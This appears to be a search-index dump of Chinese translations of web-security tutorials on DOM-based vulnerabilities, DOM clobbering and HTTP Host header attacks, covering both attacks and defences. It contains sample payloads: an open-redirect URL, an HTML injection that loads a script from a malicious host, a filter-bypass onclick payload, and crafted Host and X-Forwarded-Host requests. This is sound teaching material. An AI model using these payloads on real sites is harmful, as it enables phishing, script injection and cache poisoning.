,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:0:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"什么是 DOM Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:1:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"污染流漏洞 许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"什么是污染流 要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。 Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。 Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。 从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。 最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码: goto = location.hash.slice(1) if(goto.startsWith('https:')) { location = goto; } 这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞: https://www.innocent-website.com/example#https://www.evil-user.net 当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:1","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"常见的 source 源 以下是一些可用于各种污染流漏洞的常见的 source 源: document.URL document.documentURI document.URLUnencoded document.baseURI location document.cookie document.referrer window.name history.pushState history.replaceState localStorage sessionStorage IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) Database 以下数据也可以被用作污染流漏洞的 source 源: Reflected data 反射数据 Stored data 存储数据 Web messages ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:2","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"哪些 sink 接收器会导致基于 DOM 的漏洞 下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。 基于 DOM 的漏洞 sink 示例 DOM XSS document.write() Open redirection window.location Cookie manipulation document.cookie JavaScript injection eval() Document-domain manipulation document.domain WebSocket-URL poisoning WebSocket() Link manipulation someElement.src Web-message manipulation postMessage() Ajax request-header manipulation setRequestHeader() Local file-path manipulation FileReader.readAsText() Client-side SQL injection ExecuteSql() HTML5-storage manipulation sessionStorage.setItem() Client-side XPath injection document.evaluate() Client-side JSON injection JSON.parse() DOM-data manipulation someElement.setAttribute() Denial of service RegExp() ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:3","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"如何防止基于 DOM 的污染流漏洞 没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。 如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。 有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:4","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM clobbering DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:3:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM clobbering","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"DOM clobbering 在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:0:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"什么是 DOM clobbering DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。 术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:1:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"如何利用 DOM-clobbering 漏洞 某些 JavaScript 开发者经常会使用以下模式: var someObject = window.someObject || {}; 如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码: \u003cscript\u003e window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; \u003c/script\u003e 要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素: \u003ca id=someObject\u003e\u003ca id=someObject name=url href=//malicious-website.com/malicious.js\u003e 由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。 另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入: \u003cform onclick=alert(1)\u003e\u003cinput id=attributes\u003eClick me 在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i \u003c element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:2:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"如何防御 DOM-clobbering 攻击 简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。 你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。 总之: 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:3:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"web 安全之 HTTP Host header attacks","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host header attacks 在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:0:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"什么是 HTTP Host 头 从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求: GET /web-security HTTP/1.1 Host: portswigger.net 在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:1:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 头的作用是什么 HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。 历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。 当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"虚拟主机 一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。 在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。 对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:1","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"通过中介路由流量 另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。 在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:2","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 头如何解决这个问题 解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。 当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:3","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"什么是 HTTP Host 头攻击 HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 “Host header injection”(主机头注入攻击)。 现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名: \u003ca href=\"https://_SERVER['HOST']/support\"\u003eContact support\u003c/a\u003e 标头的值也可以用于基础设施内不同系统之间的各种交互。 由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是: Web 缓存中毒 特定功能中的业务逻辑缺陷 基于路由的 SSRF 典型的服务器漏洞,如 SQL 注入 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:3:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 漏洞是如何产生的 HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。 即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。 实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:4:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"利用 HTTP Host 头漏洞 详细内容请查阅本章下文。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:5:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"如何防御 HTTP Host 头攻击 防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。 其他防御措施有: 保护绝对的 URL 地址 如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。 验证 Host 头 如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。 不支持能够重写 Host 的头 检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。 使用内部虚拟主机时要小心 使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:6:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"Exploiting HTTP Host header vulnerabilities","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何识别和利用 HTTP Host 头漏洞 在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:0:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何使用 HTTP Host 头测试漏洞 要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。 简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"提供一个任意的 Host 头 在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。 一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。 有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。 另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 “Invalid Host header” 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:1","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"检查是否存在验证缺陷 你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 “Invalid Host header” 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。 你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。 GET /example HTTP/1.1 Host: vulnerable-website.com:bad-stuff-here 某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾: GET /example HTTP/1.1 Host: notvulnerable-website.com 或者,你可以利用已经泄露的不安全的子域: GET /example HTTP/1.1 Host: hacked-subdomain.vulnerable-website.com 有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:2","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"发送不明确的请求 验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。 以下是几个示例,说明如何创建模棱两可的请求。 注入重复的 Host 头 一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。 不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求: GET /example HTTP/1.1 Host: vulnerable-website.com Host: bad-stuff-here 假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。 提供一个绝对的 URL 地址 虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。 同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。 GET https://vulnerable-website.com/ HTTP/1.1 Host: bad-stuff-here 请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。 添加 line wrapping 你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。 由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求: GET /example HTTP/1.1 Host: bad-stuff-here Host: vulnerable-website.com 网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 “wrapped” Host 头传递任意值。 其他技术 这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:3","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"注入覆盖 Host 的标头 即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。 正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。 为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。 你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。 GET /example HTTP/1.1 Host: vulnerable-website.com X-Forwarded-Host: bad-stuff-here 尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括: X-Host X-Forwarded-Server X-HTTP-Host-Override Forwarded 从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:4","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何利用 HTTP Host 头 一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。 在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。 密码重置中毒 Web 缓存中毒 利用典型的服务器端漏洞 绕过身份验证 虚拟主机暴力破解 基于路由的 SSRF ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"密码重置中毒 攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:1","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"通过 Host 头的 Web 缓存中毒 在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。 但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。 要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。 独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。 Web 缓存中毒有一个独立的专题讨论。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:2","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"利用典型的服务端漏洞 每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:3","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"访问受限功能 某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:4","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"暴力破解使用虚拟主机的内部网站 公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况: www.example.com:12.34.56.78 intranet.example.com:10.0.0.132 在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。 